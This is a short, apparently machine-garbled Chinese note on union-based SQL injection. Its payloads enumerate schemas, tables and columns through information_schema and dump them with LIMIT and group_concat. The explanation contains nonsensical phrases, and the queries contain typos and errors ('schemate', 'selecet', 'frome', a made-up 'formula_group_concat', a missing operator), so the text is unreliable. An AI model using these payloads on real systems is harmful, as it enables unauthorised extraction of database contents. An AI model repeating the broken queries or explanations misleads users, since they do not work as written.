SQL注入原稿

eg: union select 1,schema_name,3,4 from information_schema.schemate limit 0,1

limit 0,1 表示装进从第一条开始的第一条记录。改变0的系数，则可以读取每一条数据库系统的重新命名，直到显现出你相信游泳的那一条为止，开始基底下一条上下文：

union select 1,schema_name,3,4 from information_schema.tables where table_schema=(以后库名的下标) limit 0,1

继续：

union select 1,schema_name,3,4 from information_schema.tables where table_schema=(以后库名的下标) and table_name(表名下标)limit 0,1

继续

所选存有你必需保留的数据队列之前，输入上下文：

union selecet 1,string 1,string 2,4 frome (所选表名)

另外也可以使用formula_group_concat()来一次输出多个结果

union select 1,group_concat(schema_name),3,4 from information_schema.schemate